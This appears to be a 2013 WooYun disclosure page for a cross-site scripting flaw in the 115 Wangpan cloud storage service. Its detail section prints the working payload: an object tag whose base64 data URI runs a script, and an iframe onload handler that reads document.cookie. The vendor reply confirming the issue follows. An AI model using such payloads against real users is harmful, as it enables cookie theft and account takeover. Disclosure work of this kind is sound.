当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-042441

漏洞标题:115网盘继续XSS指谁打谁

相关厂商:115网盘

漏洞作者: Huc-Unis

提交时间:2013-11-10 15:15

修复时间:2013-12-25 15:16

公开时间:2013-12-25 15:16

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-10: 细节已通知厂商并且等待厂商处理中
2013-11-10: 厂商已经确认,细节仅向厂商公开
2013-11-20: 细节向核心白帽子及相关领域专家公开
2013-11-30: 细节向普通白帽子公开
2013-12-10: 细节向实习白帽子公开
2013-12-25: 细节向公众公开

简要描述:

详细说明:

刚才用那段代码做了一个实验,就是将那段代码发给好友,我这里再写下这段代码

<p k1_15="115">
aa
</p>
<p k1_15="115">
&lt;p
</p>
<p k1_15="115">

</p>
<p k1_15="115">
&gt;
<p" k1_15="115">
</p">%bf<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgid29veXVufnRlc3QiKTwvc2NyaXB0Pg=="
k1_15="115"></object>%bf<iframe onload="alert(document.cookie)" k1_15="115">
</p>


我两个号做测试,A发给B。

09.jpg

漏洞证明:

看看B这个号这里接到什么了!

10.jpg


11.jpg


两个XSS代码都被触发了~嘿嘿~指谁打谁啊!

修复方案:

你们老大会修呗

版权声明:转载请注明来源 Huc-Unis@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2013-11-10 15:28

厂商回复:

非常感谢!

最新状态:

暂无


漏洞评价:

评论

  1. 2013-11-10 15:29 | Huc-Unis ( 普通白帽子 | Rank:1055 漏洞数:292 | 诶,现在通用奖励越来越低了;离买保时捷卡...)

    不,其实我发现直接发xss code照样实现~我还提交了115博客的。到时候审核了你看看